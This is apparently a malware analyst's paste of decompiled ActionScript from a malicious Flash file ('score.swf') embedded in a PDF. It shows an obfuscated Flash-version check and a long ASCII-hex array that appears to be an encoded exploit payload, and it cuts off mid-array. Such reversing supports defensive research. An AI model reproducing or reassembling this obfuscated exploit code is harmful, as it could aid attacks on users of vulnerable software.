SHARE
TWEET

reversing score.swf

MalwareMustDie Nov 26th, 2012 171 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // this is what we see in the score.pdf decompiled....
  2.  
  3. score.swf:
  4.  
  5.  
  6. package {
  7.     import flash.utils.*;
  8.     import flash.display.*;
  9.     import flash.system.*;
  10.  
  11.     public class vuln extends Sprite {
  12.  
  13.         public function vuln(){
  14.             var _local13:*;
  15.             super();
  16.             var _local1:string;
  17.             var _local2:string;
  18.             var _local3:* = undefined;
  19.             var _local4:* = this.b();
  20.             var _local5:* = capabilities[(((((((((("v" + "") + "e") + "r") + "") + "s") + "i") + "o") + "") + "") + "n")];
  21.             var _local6:* = capabilities[(((((((("v" + "e") + "r") + "") + "") + "s") + "i") + "o") + "n")].split(((" " + "") + ""));
  22.             var _local7:* = _local5.split((((" " + "") + "") + ""))[0];
  23.             var _local8:* = this.a(_local6[1]);
  24.             var _local9:* = parseint(_local8[0]);
  25.             var _local10:* = parseint(_local8[1]);
  26.             var _local11:* = parseint(_local8[2]);
  27.             _local3 = 2;
  28.             _local13 = new array(54, 54, 69, 51, 54, 57, 65, 48, 49, 48, 70, 70, 48, 69, 53, 52, 56, 49, 53, 48, 57, 53, 70, 50, 49, 70, 49, 68, 70, 51, 54, 48, 57, 53, 54, 68, 69, 48, 51, 70, 66, 67, 48, 70, 70, 65, 70, 57, 49, 48, 57, 49, 67, 69, 51, 57, 65, 70, 69, 67, 55, 67, 70, 66, 66, 65, 67, 55, 51, 65, 56, 70, 51, 56, 69, 65, 49, 54, 50, 70, 70, 54, 69, 48, 57, 53, 69, 68, 56, 49, 48, 69, 69, 53, 54, 50, 48, 52, 48, 65, 69, 69, 57, 48, 52, 55, 48, 56, 54, 65, 67, 70, 51, 66, 66, 52, 55, 70, 49, 68, 54, 56, 49, 53, 55, 57, 49, 68, 54, 70, 53, 52, 53, 69, 53, 54, 67, 56, 50, 67, 67, 70, 53, 48, 66, 48, 54, 69, 51, 51, 55, 67, 70, 57, 48, 65, 69, 65, 67, 55, 50, 55, 56, 53, 53, 67, 56, 53, 70, 54, 56, 67, 69, 67, 54, 67, 67, 70, 54, 56, 49, 51, 54, 53, 55, 54, 56, 67, 66, 53, 68, 57, 51, 66, 55, 70, 50, 69, 50, 48, 52, 51, 67, 70, 53, 48, 51, 53, 48, 70, 56, 51, 51, 57, 48, 70, 52, 49, 70, 52, 48, 67, 51, 54, 54, 51, 70, 51, 49, 49, 56, 56, 56, 70, 49, 66, 69, 70, 66, 50, 52, 51, 48, 69, 54, 50, 65, 51, 55, 55, 67, 52, 52, 48, 69, 69, 53, 51, 51, 50, 65, 49, 68, 51, 50, 55, 49, 51, 66, 70, 49, 55, 48, 49, 69, 66, 52, 67, 51, 54, 56, 67, 56, 54, 69, 66, 52, 67, 57, 48, 68, 55, 56, 56, 51, 54, 54, 69, 51, 50, 48, 50, 50, 52, 69, 69, 70, 48, 54, 55, 51, 65, 68, 52, 70, 68, 56, 69, 52, 52, 56, 69, 56, 50, 66, 50, 70, 54, 56, 69, 55, 50, 70, 66, 48, 49, 49, 50, 57, 57, 70, 49, 57, 50, 52, 57, 55, 50, 69, 69, 48, 65, 48, 49, 66, 68, 55, 56, 67, 68, 49, 53, 70, 48, 50, 56, 50, 50, 67, 54, 67, 57, 67, 50, 57, 55, 50, 66, 49, 55, 69, 56, 68, 54, 49, 57, 51, 69, 49, 67, 69, 49, 70, 51, 55, 66, 55, 50, 52, 68, 57, 56, 69, 51, 70, 51, 55, 66, 55, 52, 56, 56, 54, 70, 65, 50, 70, 51, 69, 49, 69, 69, 69, 53, 49, 51, 53, 50, 48, 70, 51, 66, 50, 53, 51, 50, 57, 68, 56, 65, 51, 50, 54, 68, 53, 68, 48, 50, 65, 70, 68, 67, 51, 70, 66, 67, 49, 55, 54, 68, 68, 50, 50, 49, 55, 54, 69, 50, 70, 56, 67, 49, 69, 48, 48, 50, 67, 70, 53, 48, 51, 48, 48, 70, 69, 50, 53, 69, 66, 57, 70, 69, 57, 66, 65, 67, 66, 70, 68, 67, 54, 67, 69, 67, 53, 56, 57, 54, 52, 68, 48, 69, 50, 49, 65, 55, 48, 51, 55, 54, 52, 52, 54, 55, 65, 51, 49, 50, 69, 55, 54, 70, 49, 51, 49, 68, 55, 51, 66, 55, 66, 67, 53, 68, 66, 68, 66, 55, 53, 68, 67, 56, 55, 56, 51, 65, 51, 69, 55, 68, 69, 49, 70, 56, 65, 51, 51, 69, 49, 68, 68, 68, 52, 48, 57, 51, 52, 48, 55, 55, 57, 53, 52, 49, 55, 68, 67, 53, 65, 53, 65, 57, 55, 57, 70, 48, 68, 52, 49, 67, 52, 66, 50, 69, 70, 69, 67, 49, 68, 67, 68, 53, 49, 55, 67, 50, 53, 68, 52, 69, 51, 55, 69, 51, 49, 51, 51, 55, 68, 67, 69, 67, 56, 70, 57, 66, 51, 49, 49, 57, 69, 66, 69, 50, 49, 70, 57, 50, 48, 54, 68, 53, 68, 53, 53, 55, 57, 53, 48, 57, 69, 55, 65, 57, 56, 67, 51, 57, 68, 66, 56, 70, 54, 49, 49, 70, 55, 55, 52, 69, 55, 55, 55, 49, 69, 55, 53, 54, 69, 66, 69, 68, 67, 70, 69, 56, 54, 70, 65, 70, 54, 52, 53, 69, 65, 66, 69, 68, 56, 70, 56, 68, 68, 69, 70, 54, 52, 65, 66, 54, 56, 49, 48, 65, 65, 55, 65, 53, 54, 67, 51, 70, 69, 55, 57, 52, 54, 49, 67, 66, 51, 51, 55, 51, 70, 57, 52, 65, 53, 66, 49, 69, 57, 57, 65, 68, 49, 68, 68, 54, 49, 54, 67, 66, 56, 49, 55, 67, 55, 65, 49, 66, 50, 56, 67, 49, 66, 50, 53, 55, 54, 69, 68, 53, 54, 57, 55, 50, 53, 49, 69, 51, 69, 65, 51, 54, 55, 68, 55, 66, 49, 49, 66, 54, 56, 68, 54, 48, 49, 70, 50, 52, 55, 66, 66, 56, 49, 54, 65, 70, 66, 68, 69, 66, 57, 49, 55, 66, 54, 70, 50, 51, 48, 55, 54, 52, 49, 50, 67, 70, 50, 49, 70, 49, 68, 53, 68, 67, 54, 66, 48, 53, 70, 70, 53, 50, 57, 69, 66, 56, 68, 69, 65, 55, 53, 56, 52, 54, 69, 50, 66, 65, 54, 55, 54, 53, 48, 69, 55, 70, 49, 54, 53, 51, 57, 55, 50, 50, 66, 57, 67, 55, 70, 65, 52, 50, 55, 53, 67, 54, 70, 65, 55, 66, 57, 48, 49, 70, 55, 69, 49, 67, 48, 52, 65, 49, 70, 52, 66, 69, 49, 65, 51, 54, 55, 57, 66, 65, 54, 65, 67, 56, 56, 54, 49, 70, 68, 51, 54, 52, 70, 56, 54, 54, 68, 70, 54, 52, 70, 56, 50, 57, 54, 48, 51, 55, 54, 53, 49, 66, 55, 70, 66, 69, 66, 55, 50, 65, 55, 57, 70, 68, 68, 67, 65, 51, 53, 48, 68, 56, 66, 49, 65, 48, 50, 70, 65, 55, 54, 49, 69, 69, 49, 49, 53, 68, 49, 65, 57, 50, 68, 55, 52, 67, 51, 51, 66, 51, 54, 70, 51, 65, 50, 50, 53, 54, 51, 67, 48, 55, 56, 51, 56, 48, 66, 68, 55, 70, 65, 68, 52, 49, 67, 51, 65, 49, 54, 68, 56, 50, 66, 57, 65, 70, 51, 54, 54, 49, 54, 56, 50, 69, 68, 69, 52, 68, 53, 48, 51, 69, 70, 53, 67, 56, 48, 57, 68, 67, 70, 51, 55, 65, 65, 53, 70, 66, 49, 49, 49, 55, 57, 49, 69, 55, 69, 50, 67, 56, 55, 57, 49, 70, 55, 49, 56, 70, 49, 55, 65, 65, 69, 50, 48, 65, 56, 57, 70, 66, 49, 53, 56, 56, 69, 49, 48, 65, 54, 66, 52, 57, 65, 49, 52, 57, 65, 68, 56, 49, 70, 50, 55, 49, 65, 66, 51, 69, 48, 65, 70, 57, 68, 51, 48, 52, 52, 51, 52, 53, 51, 67, 67, 70, 69, 70, 51, 54, 52, 55, 65, 55, 57, 49, 48, 70, 67, 55, 55, 50, 49, 53, 53, 65, 55, 49, 48, 55, 55, 50, 54, 55, 54, 49, 57, 56, 66, 54, 70, 68, 69, 53, 56, 49, 52, 51, 57, 55, 57, 53, 55, 52, 51, 54, 54, 53, 69, 56, 51, 65, 68, 68, 52, 65, 49, 49, 50, 70, 51, 67, 68, 68, 66, 56, 70, 57, 56, 52, 54, 65, 67, 56, 49, 70, 48, 55, 49, 66, 66, 56, 52, 56, 56, 54, 53, 66, 52, 51, 55, 54, 50, 48, 57, 54, 55, 70, 70, 53, 68, 52, 56, 69, 68, 70, 55, 68, 66, 66, 57, 54, 65, 48, 53, 70, 53, 53, 56, 50, 67, 52, 65, 48, 66, 51, 68, 55, 50, 68, 56, 49, 54, 70, 51, 54, 54, 54, 70, 53, 51, 66, 66, 65, 53, 53, 70, 69, 49, 69, 66, 57, 56, 70, 53, 51, 53, 49, 49, 66, 68, 66, 67, 51, 49, 49, 57, 68, 70, 55, 50, 67, 67, 69, 67, 70, 65, 56, 54, 68, 48, 52, 51, 55, 48, 65, 52, 70, 52, 68, 50, 65, 55, 53, 66, 56, 67, 66, 66, 57, 67, 70, 69, 52, 51, 48, 67, 56, 69, 66, 54, 51, 51, 57, 56, 67, 69, 51, 50, 51, 52, 70, 56, 68, 70, 50, 48, 67, 55, 66, 65, 68, 67, 70, 69, 56, 54, 70, 70, 66, 50, 50, 70, 67, 66, 55, 66, 53, 68, 70, 69, 55, 69, 50, 57, 54, 54, 51, 66, 52, 56, 70, 68, 70, 65, 70, 49, 66, 69, 56, 56, 68, 50, 55, 51, 66, 49, 70, 68, 50, 49, 52, 51, 52, 48, 52, 48, 57, 68, 70, 65, 70, 48, 51, 56, 53, 57, 65, 56, 68, 67, 49, 50, 57, 49, 56, 70, 68, 53, 67, 52, 65, 68, 49, 51, 57, 52, 53, 54, 67, 70, 54, 70, 68, 48, 48, 55, 57, 48, 66, 65, 50, 67, 54, 67, 51, 49, 68, 52, 52, 68, 67, 48, 65, 54, 56, 52, 54, 65, 57, 67, 56, 56, 55, 53, 49, 49, 66, 50, 65, 66, 49, 48, 56, 66, 53, 56, 49, 51, 56, 65, 50, 52, 68, 56, 53, 65, 67, 54, 65, 66, 54, 57, 48, 50, 66, 66, 67, 55, 67, 52, 48, 69, 66, 66, 49, 56, 51, 52, 49, 69, 49, 68, 52, 53, 68, 55, 49, 57, 54, 67, 69, 68, 53, 66, 53, 56, 48, 54, 55, 67, 54, 67, 55, 53, 66, 52, 55, 65, 50, 56, 55, 69, 67, 53, 49, 65, 66, 52, 66, 49, 54, 68, 53, 49, 68, 67, 55, 68, 50, 52, 51, 55, 65, 50, 56, 48, 55, 57, 53, 50, 54, 48, 70, 48, 57, 52, 48, 53, 69, 51, 56, 66, 50, 56, 56, 69, 65, 56, 66, 56, 53, 69, 66, 70, 57, 50, 65, 69, 57, 66, 54, 70, 51, 65, 54, 65, 66, 65, 68, 67, 66, 53, 49, 52, 67, 66, 68, 67, 68, 57, 66, 68, 52, 65, 55, 69, 57, 50, 70, 70, 48, 67, 67, 68, 50, 55, 53, 65, 53, 57, 57, 53, 50, 48, 57, 50, 49, 53, 49, 67, 49, 49, 54, 49, 66, 66, 67, 70, 52, 48, 50, 56, 54, 66, 51, 67, 68, 56, 57, 70, 56, 54, 50, 70, 66, 54, 57, 68, 54, 57, 54, 48, 68, 68, 67, 56, 52, 67, 68, 67, 69, 50, 52, 55, 70, 56, 55, 52, 52, 55, 70, 57, 53, 70, 67, 52, 51, 54, 69, 51, 55, 57, 52, 57, 57, 55, 55, 50, 70, 57, 57, 56, 65, 56, 66, 50, 53, 68, 69, 49, 68, 49, 68, 68, 68, 53, 68, 49, 57, 54, 57, 67, 66, 50, 66, 65, 54, 48, 50, 68, 68, 48, 65, 70, 48, 51, 56, 49, 67, 56, 69, 49, 69, 66, 67, 48, 65, 68, 68, 68, 48, 57, 55, 68, 48, 55, 66, 51, 70, 51, 50, 52, 49, 67, 67, 51, 70, 70, 56, 69, 69, 53, 67, 53, 69, 66, 56, 66, 56, 65, 67, 51, 70, 56, 55, 70, 53, 55, 54, 48, 52, 69, 48, 48, 69, 65, 66, 50, 65, 54, 55, 67, 48, 53, 65, 57, 69, 56, 66, 55, 54, 65, 54, 70, 48, 54, 48, 66, 49, 69, 65, 48, 55, 52, 69, 54, 69, 67, 49, 52, 57, 57, 66, 50, 53, 54, 54, 68, 67, 56, 56, 68, 48, 54, 49, 70, 68, 65, 49, 57, 65, 53, 53, 52, 55, 68, 52, 69, 65, 56, 67, 48, 55, 52, 57, 70, 57, 55, 65, 54, 53, 56, 53, 53, 65, 66, 50, 51, 50, 57, 67, 48, 68, 66, 48, 55, 54, 50, 51, 65, 49, 69, 67, 52, 54, 55, 57, 69, 55, 50, 48, 52, 50, 67, 67, 54, 53, 67, 70, 66, 51, 66, 66, 55, 49, 66, 51, 56, 51, 54, 50, 54, 49, 57, 55, 68, 57, 67, 57, 51, 53, 55, 65, 70, 54, 57, 52, 51, 57, 54, 53, 57, 55, 68, 69, 57, 67, 54, 66, 55, 49, 57, 52, 66, 66, 51, 65, 69, 67, 67, 49, 65, 66, 68, 70, 51, 49, 67, 67, 57, 54, 65, 70, 52, 56, 51, 65, 66, 52, 56, 50, 49, 55, 65, 49, 67, 50, 55, 49, 51, 67, 67, 50, 49, 69, 57, 67, 68, 68, 66, 57, 55, 53, 67, 54, 48, 49, 48, 70, 51, 67, 56, 68, 65, 54, 57, 56, 56, 70, 67, 52, 48, 65, 66, 65, 49, 50, 65, 52, 54, 48, 57, 52, 54, 51, 55, 50, 54, 55, 49, 55, 48, 65, 49, 69, 53, 48, 66, 51, 65, 67, 57, 70, 55, 69, 65, 48, 69, 68, 66, 53, 51, 53, 48, 70, 56, 51, 70, 51, 51, 56, 69, 66, 69, 51, 54, 54, 53, 54, 52, 67, 55, 50, 57, 56, 52, 56, 67, 57, 66, 55, 65, 48, 70, 50, 53, 57, 54, 52, 67, 55, 69, 69, 68, 52, 56, 56, 67, 52, 55, 65, 57, 54, 55, 53, 56, 70, 67, 68, 51, 56, 69, 48, 57, 49, 53, 50, 51, 69, 52, 55, 54, 51, 54, 52, 69, 49, 49, 65, 56, 56, 48, 65, 66, 68, 69, 51, 51, 52, 54, 52, 50, 70, 66, 53, 66, 53, 70, 49, 65, 56, 67, 67, 49, 48, 55, 52, 55, 68, 57, 66, 53, 69, 57, 65, 67, 57, 54, 67, 51, 70, 57, 54, 55, 69, 49, 66, 56, 67, 57, 50, 65, 69, 50, 70, 51, 51, 66, 54, 49, 52, 48, 50, 65, 68, 66, 65, 68, 50, 54, 51, 67, 50, 55, 65, 65, 56, 68, 67, 52, 52, 49, 51, 48, 55, 69, 67, 53, 65, 67, 69, 57, 48, 57, 51, 67, 50, 55, 49, 56, 55, 57, 67, 52, 56, 49, 51, 67, 66, 53, 66, 56, 67, 52, 66, 69, 57, 51, 50, 66, 50, 65, 70, 52, 53, 48, 55, 52, 56, 70, 67, 70, 53, 66, 68, 56, 54, 48, 54, 55, 51, 52, 57, 49, 68, 70, 52, 68, 67, 68, 68, 56, 66, 54, 48, 69, 66, 65, 66, 65, 50, 67, 54, 49, 51, 70, 67, 53, 68, 56, 66, 66, 70, 69, 67, 67, 69, 51, 51, 68, 50, 70, 55, 57, 50, 52, 56, 65, 70, 57, 57, 53, 67, 68, 66, 48, 50, 49, 49, 54, 66, 52, 49, 50, 54, 51, 65, 68, 65, 49, 56, 56, 69, 66, 50, 49, 50, 48, 50, 67, 65, 67, 66, 55, 69, 53, 67, 48, 51, 66, 56, 54, 51, 57, 48, 49, 51, 48, 69, 67, 54, 50, 55, 52, 66, 49, 51, 56, 57, 65, 65, 49, 50, 51, 54, 56, 51, 51, 66, 67, 56, 66, 65, 49, 53, 69, 48, 70, 51, 67, 67, 55, 65, 48, 52, 66, 52, 49, 65, 66, 67, 70, 53, 70, 50, 67, 67, 51, 67, 55, 68, 67, 67, 52, 69, 70, 48, 49, 54, 56, 57, 68, 52, 50, 48, 52, 54, 54, 68, 68, 55, 65, 67, 52, 50, 68, 67, 67, 53, 50, 66, 54, 56, 69, 57, 67, 51, 68, 53, 51, 49, 50, 69, 56, 67, 69, 70, 68, 66, 49, 54, 50, 51, 48, 49, 51, 53, 65, 50, 49, 53, 57, 54, 57, 67, 53, 55, 67, 48, 54, 68, 53, 66, 65, 52, 50, 54, 56, 69, 53, 57, 48, 66, 70, 68, 57, 52, 53, 66, 52, 65, 66, 69, 54, 65, 54, 52, 67, 54, 57, 68, 52, 67, 55, 49, 49, 66, 53, 66, 67, 55, 67, 70, 68, 56, 48, 57, 49, 67, 68, 57, 51, 53, 54, 48, 68, 53, 49, 70, 69, 52, 68, 65, 52, 51, 56, 70, 50, 68, 70, 57, 70, 52, 66, 57, 51, 68, 70, 52, 51, 56, 50, 54, 55, 70, 65, 51, 51, 52, 51, 49, 56, 53, 51, 48, 53, 53, 53, 50, 55, 68, 67, 53, 56, 49, 70, 50, 56, 55, 66, 51, 57, 57, 67, 52, 55, 69, 48, 67, 53, 50, 55, 68, 56, 55, 54, 54, 51, 49, 52, 48, 69, 67, 48, 51, 54, 52, 48, 50, 66, 65, 50, 51, 57, 69, 54, 53, 51, 54, 69, 51, 53, 54, 53, 51, 69, 57, 54, 54, 49, 67, 57, 65, 51, 53, 70, 49, 49, 52, 65, 67, 67, 51, 68, 50, 69, 69, 57, 65, 51, 49, 54, 56, 68, 49, 49, 57, 57, 52, 49, 57, 68, 57, 65, 48, 56, 55, 48, 68, 56, 69, 50, 52, 52, 57, 50, 53, 69, 66, 65, 70, 56, 49, 49, 67, 49, 69, 51, 68, 48, 69, 66, 68, 50, 48, 50, 51, 57, 48, 67, 67, 50, 49, 55, 54, 67, 67, 65, 67, 49, 65, 53, 65, 67, 65, 57, 57, 51, 54, 53, 53, 69, 52, 57, 57, 50, 54, 48, 56, 65, 69, 50, 51, 57, 65, 67, 57, 48, 57, 51, 65, 69, 49, 69, 66, 48, 48, 53, 54, 50, 65, 53, 53, 53, 52, 50, 65, 51, 70, 67, 69, 51, 68, 67, 66, 70, 50, 48, 49, 51, 49, 56, 55, 50, 57, 69, 57, 49, 69, 49, 55, 48, 50, 56, 67, 70, 66, 57, 57, 52, 49, 48, 48, 69, 53, 53, 49, 67, 56, 66, 68, 69, 49, 49, 66, 65, 48, 70, 49, 70, 66, 53, 53, 66, 66, 70, 68, 70, 66, 53, 54, 54, 48, 55, 52, 57, 67, 65, 50, 57, 48, 51, 51, 57, 48, 65, 67, 50, 54, 48, 48, 69, 65, 70, 66, 55, 70, 57, 55, 55, 50, 54, 55, 51, 65, 68, 55, 69, 68, 69, 51, 66, 66, 53, 53, 70, 70, 55, 55, 52, 57, 66, 55, 53, 66, 70, 54, 55, 70, 56, 55, 55, 50, 48, 68, 65, 69, 49, 56, 54, 70, 57, 54, 56, 52, 50, 51, 67, 51, 65, 56, 52, 52, 57, 57, 65, 51, 50, 68, 69, 54, 57, 50, 51, 68, 55, 55, 56, 50, 54, 68, 49, 68, 48, 50, 66, 55, 69, 57, 49, 66, 68, 65, 49, 66, 53, 57, 57, 52, 55, 55, 51, 54, 69, 69, 52, 55, 53, 51, 65, 50, 56, 67, 52, 51, 56, 67, 68, 52, 69, 68, 49, 65, 49, 68, 70, 52, 65, 53, 53, 53, 68, 50, 57, 50, 52, 53, 48, 66, 52, 70, 57, 65, 49, 53, 52, 55, 70, 65, 57, 52, 55, 57, 49, 65, 48, 65, 53, 70, 50, 55, 65, 67, 48, 51, 67, 68, 49, 55, 57, 54, 54, 65, 49, 66, 57, 55, 57, 65, 53, 49, 52, 54, 69, 51, 54, 66, 69, 67, 67, 51, 52, 56, 57, 67, 48, 65, 50, 48, 51, 57, 49, 52, 56, 69, 66, 50, 48, 56, 52, 49, 55, 49, 53, 52, 57, 66, 70, 48, 66, 67, 67, 54, 51, 48, 68, 69, 57, 57, 55, 67, 57, 48, 70, 68, 65, 65, 54, 68, 65, 67, 57, 50, 49, 70, 48, 52, 67, 57, 54, 65, 69, 56, 66, 51, 68, 49, 67, 49, 54, 55, 51, 53, 49, 54, 49, 53, 67, 52, 48, 67, 68, 66, 57, 68, 50, 66, 50, 51, 67, 69, 57, 68, 69, 55, 69, 69, 68, 67, 52, 56, 53, 50, 51, 65, 51, 53, 55, 67, 70, 50, 53, 54, 51, 65, 68, 49, 69, 55, 51, 55, 55, 70, 67, 54, 49, 56, 57, 53, 50, 69, 54, 65, 66, 70, 66, 56, 52, 48, 54, 50, 70, 56, 50, 56, 69, 56, 57, 68, 52, 55, 54, 57, 55, 48, 50, 69, 66, 69, 54, 65, 49, 57, 52, 52, 68, 48, 52, 54, 70, 48, 55, 54, 54, 52, 52, 69, 53, 70, 55, 56, 66, 57, 69, 68, 54, 68, 56, 49, 52, 53, 69, 70, 56, 70, 69, 54, 66, 67, 49, 68, 65, 66, 69, 67, 56, 50, 54, 54, 54, 66, 54, 53, 70, 49, 57, 48, 54, 48, 69, 69, 68, 49, 54, 48, 55, 57, 70, 56, 69, 52, 50, 53, 69, 51, 53, 48, 48, 52, 57, 54, 53, 55, 48, 66, 70, 56, 69, 54, 51, 49, 66, 68, 57, 55, 66, 55, 66, 68, 55, 56, 55, 66, 55, 66, 55, 56, 54, 66, 52, 68, 55, 49, 56, 66, 69, 66, 49, 67, 65, 48, 52, 70, 65, 54, 66, 67, 52, 68, 52, 56, 68, 51, 48, 68, 49, 51, 53, 48, 68, 55, 65, 48, 53, 52, 55, 66, 49, 55, 57, 51, 49, 50, 66, 50, 68, 66, 65, 48, 56, 68, 49, 55, 69, 49, 52, 68, 48, 68, 53, 68, 57, 69, 57, 51, 56, 56, 49, 52, 53, 66, 70, 70, 66, 57, 50, 50, 66, 67, 56, 66, 67, 57, 67, 56, 50, 53, 48, 67, 56, 49, 55, 53, 56, 65, 66, 68, 69, 69, 56, 65, 51, 57, 53, 69, 51, 52, 68, 49, 65, 50, 70, 51, 50, 50, 69, 57, 53, 65, 53, 54, 55, 69, 66, 48, 65, 54, 65, 54, 54, 68, 57, 50, 68, 66, 67, 70, 56, 48, 55, 65, 52, 51, 70, 69, 50, 66, 52, 56, 49, 51, 49, 48, 68, 57, 53, 69, 51, 56, 51, 69, 66, 56, 67, 66, 57, 48, 55, 65, 66, 66, 65, 69, 51, 57, 53, 55, 53, 54, 52, 50, 56, 51, 56, 66, 53, 65, 67, 48, 68, 56, 53, 67, 55, 51, 50, 53, 49, 67, 54, 67, 56, 51, 57, 70, 70, 56, 56, 57, 51, 56, 49, 48, 56, 48, 69, 49, 50, 53, 51, 55, 69, 67, 68, 48, 54, 70, 54, 54, 48, 57, 57, 53, 54, 49, 57, 49, 53, 65, 68, 55, 50, 69, 48, 50, 57, 57, 49, 57, 68, 66, 56, 65, 54, 53, 51, 48, 66, 70, 49, 53, 67, 67, 48, 67, 52, 49, 53, 52, 49, 49, 57, 48, 56, 48, 56, 52, 55, 55, 48, 49, 69, 65, 67, 65, 66, 54, 69, 69, 52, 65, 53, 49, 53, 68, 68, 49, 57, 66, 65, 66, 50, 57, 50, 49, 51, 53, 54, 70, 70, 65, 52, 51, 48, 70, 48, 65, 70, 48, 48, 51, 50, 65, 53, 68, 51, 68, 67, 49, 67, 56, 49, 50, 50, 65, 49, 56, 67, 53, 48, 65, 56, 67, 69, 57, 48, 65, 48, 68, 69, 57, 48, 65, 56, 68, 53, 68, 54, 48, 51, 67, 51, 50, 69, 49, 51, 57, 49, 69, 66, 69, 68, 65, 48, 50, 53, 55, 52, 56, 68, 69, 56, 52, 54, 70, 65, 69, 51, 53, 54, 56, 67, 54, 54, 65, 49, 51, 52, 53, 50, 67, 56, 56, 65, 67, 52, 68, 51, 56, 55, 55, 50, 48, 51, 50, 48, 70, 68, 52, 70, 70, 50, 54, 56, 68, 55, 56, 55, 50, 50, 52, 70, 56, 51, 52, 48, 52, 53, 70, 52, 50, 57, 54, 54, 53, 49, 69, 50, 69, 51, 54, 69, 68, 51, 48, 68, 49, 67, 48, 55, 54, 48, 56, 51, 69, 67, 49, 65, 48, 65, 66, 65, 55, 50, 51, 48, 52, 55, 65, 54, 65, 57, 56, 69, 54, 54, 50, 53, 50, 55, 69, 52, 52, 57, 50, 52, 54, 54, 54, 57, 68, 65, 50, 66, 70, 50, 54, 57, 54, 56, 56, 66, 54, 54, 50, 48, 70, 54, 52, 50, 69, 57, 53, 56, 48, 66, 53, 54, 50, 51, 69, 50, 53, 48, 49, 68, 66, 66, 49, 54, 52, 68, 68, 55, 50, 56, 52, 57, 50, 52, 57, 65, 65, 52, 49, 70, 70, 56, 52, 52, 65, 54, 68, 54, 67, 67, 50, 53, 68, 57, 55, 57, 49, 57, 56, 52, 54, 56, 69, 69, 50, 48, 70, 50, 50, 53, 53, 67, 53, 53, 57, 52, 66, 56, 57, 56, 50, 56, 51, 67, 52, 69, 52, 68, 70, 57, 66, 57, 50, 70, 49, 56, 69, 52, 50, 51, 70, 51, 56, 50, 70, 50, 68, 48, 57, 66, 68, 53, 66, 52, 54, 53, 52, 51, 68, 69, 66, 51, 68, 52, 69, 51, 53, 53, 54, 49, 65, 57, 65, 52, 70, 67, 48, 66, 68, 66, 57, 55, 52, 57, 68, 57, 66, 67, 48, 52, 49, 67, 68, 52, 49, 51, 65, 57, 52, 66, 52, 70, 49, 50, 55, 50, 57, 48, 50, 68, 67, 65, 50, 48, 69, 52, 54, 50, 57, 66, 53, 51, 57, 54, 68, 67, 70, 66, 67, 68, 68, 51, 66, 67, 49, 67, 67, 52, 50, 53, 48, 69, 49, 48, 69, 51, 52, 66, 55, 49, 56, 54, 48, 69, 55, 52, 52, 67, 54, 65, 57, 56, 67, 65, 57, 55, 56, 48, 67, 51, 67, 52, 69, 49, 50, 65, 57, 68, 53, 57, 68, 57, 66, 54, 48, 67, 57, 52, 53, 66, 56, 49, 66, 68, 48, 48, 49, 49, 56, 54, 52, 54, 52, 48, 52, 66, 57, 51, 52, 70, 53, 56, 56, 55, 66, 49, 66, 54, 51, 57, 49, 50, 49, 51, 65, 70, 67, 68, 57, 69, 51, 56, 52, 68, 70, 50, 66, 65, 49, 69, 52, 67, 67, 52, 69, 68, 53, 48, 53, 49, 52, 55, 65, 56, 70, 52, 55, 69, 55, 48, 51, 55, 68, 49, 54, 53, 65, 50, 52, 68, 69, 69, 65, 54, 51, 53, 48, 48, 48, 55, 67, 50, 65, 54, 54, 49, 52, 51, 57, 49, 65, 52, 53, 66, 69, 48, 49, 52, 52, 48, 49, 51, 54, 57, 66, 67, 54, 70, 70, 52, 50, 49, 50, 55, 52, 50, 52, 50, 66, 48, 50, 56, 49, 55, 51, 55, 54, 50, 55, 50, 66, 49, 50, 56, 70, 51, 48, 51, 53, 50, 54, 53, 57, 50, 70, 55, 53, 56, 49, 52, 49, 70, 54, 70, 53, 54, 48, 65, 66, 50, 70, 67, 67, 51, 48, 52, 51, 48, 51, 67, 48, 52, 65, 48, 54, 49, 49, 48, 68, 50, 70, 68, 48, 51, 49, 57, 69, 53, 52, 49, 67, 48, 68, 70, 51, 50, 49, 66, 55, 48, 52, 50, 50, 54, 54, 54, 57, 48, 51, 57, 67, 65, 51, 49, 52, 52, 68, 50, 56, 67, 57, 69, 66, 70, 56, 56, 52, 69, 65, 50, 49, 66, 67, 56, 48, 68, 51, 66, 51, 55, 48, 65, 56, 48, 66, 55, 68, 50, 68, 69, 54, 49, 66, 50, 68, 68, 48, 49, 65, 48, 48, 54, 56, 67, 65, 57, 65, 57, 49, 56, 52, 50, 56, 52, 70, 56, 69, 49, 52, 54, 56, 66, 49, 49, 53, 68, 50, 49, 52, 53, 51, 48, 67, 48, 52, 49, 68, 49, 68, 57, 53, 48, 67, 54, 51, 52, 57, 48, 52, 51, 49, 69, 56, 66, 67, 51, 55, 66, 51, 66, 65, 56, 53, 69, 50, 54, 54, 53, 68, 50, 68, 51, 54, 57, 49, 66, 55, 54, 53, 68, 67, 56, 69, 54, 52, 49, 54, 56, 68, 53, 67, 52, 50, 54, 70, 67, 68, 50, 52, 65, 52, 55, 53, 67, 51, 69, 66, 48, 55, 51, 68, 67, 70, 50, 68, 67, 67, 54, 57, 69, 52, 52, 54, 49, 65, 69, 54, 48, 55, 65, 66, 70, 53, 54, 51, 53, 51, 55, 51, 67, 51, 54, 67, 52, 50, 56, 50, 53, 57, 50, 48, 68, 53, 70, 67, 53, 48, 50, 67, 69, 55, 56, 53, 53, 66, 66, 67, 67, 49, 52, 54, 53, 54, 51, 56, 66, 56, 53, 50, 68, 57, 67, 49, 52, 55, 51, 57, 52, 66, 68, 48, 49, 48, 48, 55, 55, 57, 65, 57, 51, 53, 70, 54, 50, 55, 65, 51, 68, 68, 54, 68, 57, 66, 55, 67, 54, 68, 57, 65, 54, 54, 54, 49, 66, 67, 49, 52, 52, 50, 68, 55, 53, 56, 50, 51, 55, 66, 57, 50, 54, 66, 66, 57, 68, 54, 54, 68, 50, 70, 55, 56, 68, 54, 66, 70, 53, 54, 69, 66, 65, 70, 69, 49, 66, 69, 52, 53, 52, 65, 49, 56, 54, 66, 48, 69, 66, 52, 53, 48, 68, 67, 50, 57, 65, 51, 66, 70, 51, 50, 70, 52, 70, 49, 51, 50, 67, 57, 54, 48, 49, 55, 67, 65, 66, 69, 68, 51, 69, 66, 53, 54, 49, 67, 49, 51, 54, 66, 54, 69, 55, 65, 67, 55, 68, 50, 53, 53, 67, 55, 66, 51, 65, 67, 54, 65, 70, 68, 69, 56, 66, 48, 66, 56, 68, 56, 68, 68, 51, 48, 69, 54, 52, 68, 56, 51, 66, 66, 49, 57, 51, 56, 56, 65, 52, 56, 65, 65, 54, 70, 66, 49, 55, 49, 51, 55, 51, 57, 65, 69, 49, 66, 